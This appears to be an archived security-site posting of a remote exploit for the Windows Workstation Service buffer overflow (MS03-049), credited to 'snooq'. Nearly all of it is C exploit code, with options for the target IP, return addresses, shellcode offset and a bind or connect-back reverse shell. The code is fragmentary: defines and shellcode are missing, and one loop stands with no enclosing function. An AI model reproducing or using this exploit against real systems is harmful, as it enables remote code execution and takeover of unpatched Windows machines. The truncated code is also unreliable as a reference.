Microsoft Workstation Service WKSSVC Remote Exploit (MS03-049)
16 Nov. 2003
Summary
As we reported in our previous article: Windows Workstation Service Remote Buffer Overflow, an exploitable buffer overflow in the Windows's Workstation service allows remote attackers to cause the program to execute arbitrary code.
Credit:
The information has been provided by snooq.
Exploit:
/*
* Author: snooq
* Date: 14 November 2003
*
* +++++++++++++ THIS IS A PRIVATE VERSION +++++++++++++++
*
* The public version will crash 'services.exe' immediately
* while this one crash it only when u exit from shell....
*
* I'm still trying to figure out a way to avoid the 'crash'
* all together... any ideas????
*
* Let me know if you hav trouble compiling this shit...
* I hope this could be a good e.g for u to try Win32
* exploitation..
*
* This code is crappy... if u know of a better way of doing
* things... pls tell me.......
*
* Otherwise, if you guys r keen... I'll be more than happy
* to go thru this in details wif u all... Meanwhile..enjoy!
*
* +++++++++++++++++++++++++++++++++++++++++++++++++
*/
void changeport(char *code, int port, int offset) {
char *ptr;
ptr=code+offset;
port^=KEY;
/* Assume Little-Endianess.... */
*ptr++=(char)((port>>8)&0xff);
*ptr++=(char)(port&0xff);
}
void banner() {
printf("\nWKSSVC Remote Exploit By Snooq [jinyean@hotmail.com]\n\n");
}
void usage(char *s) {
banner();
printf("Usage: %s [options]\n",s);
printf("\t-r\tSize of 'return addresses'\n");
printf("\t-a\tAlignment size [0~3]\n");
printf("\t-p\tPort to bind shell to (in 'connecting' mode), or\n");
printf("\t\tPort for shell to connect back (in 'listening' mode)\n");
printf("\t-s\tShellcode offset from the return address\n");
printf("\t-h\tTarget's IP\n");
printf("\t-t\tTarget types. ( -H for more info )\n");
printf("\t-H\tShow list of possible targets\n");
printf("\t-l\tListening for shell connecting\n");
printf("\t\tback to port specified by '-p' switch\n");
printf("\t-i\tIP for shell to connect back\n");
printf("\t-I\tTime interval between each trial ('connecting' mode only)\n");
printf("\t-T\tTime out (in number of seconds)\n\n");
printf("\tNotes:\n\t======\n\t'-h' is mandatory\n");
printf("\t'-i' is mandatory if '-l' is specified\n\n");
exit(0);
}
while(!alarm_fired) {
if (GetMessage(&msg, 0, 0, 0) ) {
if (msg.message == WM_TIMER) printf("-> WM_TIMER received...\n");
DispatchMessage(&msg);
}
}
}
void resetalarm() {
if (TerminateThread(t2,0)==0) {
err_exit("-> Failed to reset alarm...");
}
if (TerminateThread(t1,0)==0) {
err_exit("-> Failed to kill the 'sending' thread...");
}
}
void do_send(char *host,int timeout) {
t1=(HANDLE)_beginthread(sendstr,0,host);
if (t1==0) { err_exit("-> Failed to send exploit string..."); }
t2=(HANDLE)_beginthread(setalarm,0,timeout);
if (t2==0) { err_exit("-> Failed to set alarm clock..."); }
}
int main(int argc, char *argv[]) {
char opt;
char *host, *ptr, *ip="";
struct sockaddr_in sockadd;
int i, i_len, ok=0, mode=0, flag=0;
int align=ALIGN, retsize=RET_SIZE, sc_offset=SC_OFFSET;
int target=TARGET, scsize=SC_SIZE_1, port=PORT;
int timeout=TIME_OUT, interval=INTERVAL;
long retaddr;
WSADATA wsd;
SOCKET s1, s2;
if (argc<2) { usage(argv[0]); }
while ((opt=getopt(argc,argv,"a:i:I:r:s:h:t:T:p:Hl"))!=EOF) {
switch(opt) {
case 'a':
align=atoi(optarg);
break;
case 'I':
interval=atoi(optarg);
break;
case 'T':
timeout=atoi(optarg);
break;
case 't':
target=atoi(optarg);
retaddr=targets[target-1].jmpesp;
break;
case 'i':
ip=optarg;
changeip(ip);
break;
case 'l':
mode=1;
scsize=SC_SIZE_2;
break;
case 'r':
retsize=atoi(optarg);
break;
case 's':
sc_offset=atoi(optarg);
break;
case 'h':
ok=1;
host=optarg;
sockadd.sin_addr.s_addr=inet_addr(optarg);
break;
case 'p':
port=atoi(optarg);
break;
case 'H':
showtargets();
break;
default:
usage(argv[0]);
break;
}
}
if (!ok || (mode&&((strcmp(ip,"")==0)))) { usage(argv[0]); }